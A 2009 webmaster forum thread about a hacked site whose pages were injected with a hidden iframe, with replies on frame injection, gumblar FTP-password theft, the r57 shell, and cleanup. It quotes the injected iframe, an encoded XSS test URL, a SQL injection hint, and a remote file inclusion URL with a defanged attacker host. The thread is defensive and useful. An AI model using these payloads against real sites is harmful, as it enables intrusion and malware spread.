Forum Moderators: open
This is what I found
<iframe src="http://example.com/example.txt?" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>Does anyone know anything about this? What does this do? What are the possibilities?
[edited by: incrediBILL at 6:42 pm (utc) on May 31, 2009]
[edit reason] removed specifics to malware location [/edit]
Standard Frame Injection Attack
[en.wikipedia.org...]
I'll guess you're on a shared server, when the hacker infiltrates the server they usually infect many, if not all, sites on the server.
Your host will most likely tell you it's your fault and you need to change your FTP password which is a very common answer (dodge) from hosts with a real problem that don't know how to control it.
However, check your site to make sure you don't have any vulnerable PHP scripts installed like an out of date Word Press, Joomla, or something else that could compromise your account.
Best thing to do IMO is to update everything including who hosts the site
The most common use I've seen for iframe injection is to attampt to install some kind of malware - make the page visitor part of a botnet, install a keylogger, hijack the intended urls, etc.
Best advice - update your server software to the most recent versions and patches, change your password, and upload clean source code for your pages. If you are on shared hosting, let your web host know about it.
im thinking someone/thing hacked in through ftp and then ran a script to append all the html php files with that iframe code.
the biggest question is how did they get the ftp login info if that is in fact how they did it?
luckily for me I had a tar backup that saved me. although when i looked further I found a few files that semantec identified as viruses. PHP.RSTBackdoor
I'm always amused by the assumption it's FTP unless you're not running secure FTP and/or using wifi so that it's easy to sniff the user name and password because knowing both is really hard to do unless your user name is "root" or "admin" or something insecure.
If you don't already, I would disable normal FTP and only use Secure FTP from now on.
what others are known?
If you can do this
http://example.com?login_name=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E%22
Where "login_name" is any form object name on one of your pages and it gives you an alert, this tells you your input data is passed through your script unfiltered and is vulnerable to XSS. The same is true when you attempt to pass a mysql injection with any select statement, such as an encoded " or 1=1."
the biggest question is how did they get the ftp login info if that is in fact how they did it?
First, check your FTP log for unauthorized logins. That will tell you if it was done by FTP.
Most often, the way they get in is by "remote file inclusion" <- web search term, not by FTP.
However, there is currently a wave of attacks being called "gumblar", which is an FTP password stealing malware. So in addition to cleaning your site and checking for potential RFI vulnerabilities in your PHP code, you should also do a thorough antivirus/antispyware scan on your PC. If you use AVG free, switch to something else or use a couple of online scanners.
The way gumblar works is, your PC gets infected from some other website. The virus scans your PC for FTP logins, sends them somewhere else, where an automated process uses your password data to log in to your website.
More specifically, you might wanna make sure that register_globals and allow_url_fopen are set to OFF.
This could help prevent future RFI attempts...
And don't use FTP ever ! Use SFTP instead...
[edited by: incrediBILL at 8:07 pm (utc) on June 3, 2009]
[edit reason] removed malicious code sample [/edit]
That search snippet is in section of your code that looks like it came from the r57 shell script.
The write() function could be used to insert the iframes, and it even restores the file's timestamp back to what it was before the file was altered, to cover its tracks.
[edited by: SteveWh at 7:51 pm (utc) on June 3, 2009]
Also, i noticed that piece about the replacing the time modified. but unfortunate for them that didnt work and thats how i know what they did. it all happened may 27 at 11:30p
You should probably run a chkrootkit program to see if anything else is obviously compromised.
If it's a dedicated server I might request an OS reload on the server, but if it were my server I'd request a new migration server and transfer all my stuff to the new box just to make sure nothing was overlooked like password sniffing programs or a botnet zombie.
[edited by: incrediBILL at 8:16 pm (utc) on June 3, 2009]
I mean the possibility of needing an OS restore?
If you mean some limitations on what the hacker could do, no, not really.
I left out a link previously, but will provide it plus another one here in hopes that they are probably within the link guidelines.
This is the SANS.org writeup:
[isc.sans.org...]
This is Symantec's writeup on the PHP.RSTBackdoor Trojan that you found:
[symantec.com...]
Look at the actions it "allows the attacker to perform".
-----
Before doing the OS restore, find out how this could have happened, because if you don't fix that first, you'll just have to restore again in a day or two when the site gets compromised again.
Research to discover whether you are using the latest versions of all PHP scripts.
If you are writing PHP code for the site yourself, it is possible that query string input is not being sanitized properly. Research how to prevent remote file inclusion and rewrite all your code so that if someone sends your script a query string like this, your script doesn't do anything with it:
hxxp://yoursite.com/index.php?page=hxxp://malicioussite.com/hackscript.txt
Your script might be expecting "page" to be numeric, but if it doesn't check to make sure it IS numeric, then it can allow a hack script to get run and installed.
THEN, after you've researched and fixed the security hole, do an OS restore and rebuild the site using the latest versions of all scripts.
Based on what appears to be the r57 shell script you found (I thought it was just pieces of r57, but evidence suggests you have it in its entirety) and the Trojan you found, the chances that your server is extremely compromised are much higher than for a normal run of the mill hack.
You could, however, rebuild the site without an OS-restore. If it gets hacked again right away, you'll know the full server rebuild from scratch would have been the better way to go, and you can do it then.
[edited by: SteveWh at 9:27 pm (utc) on June 3, 2009]
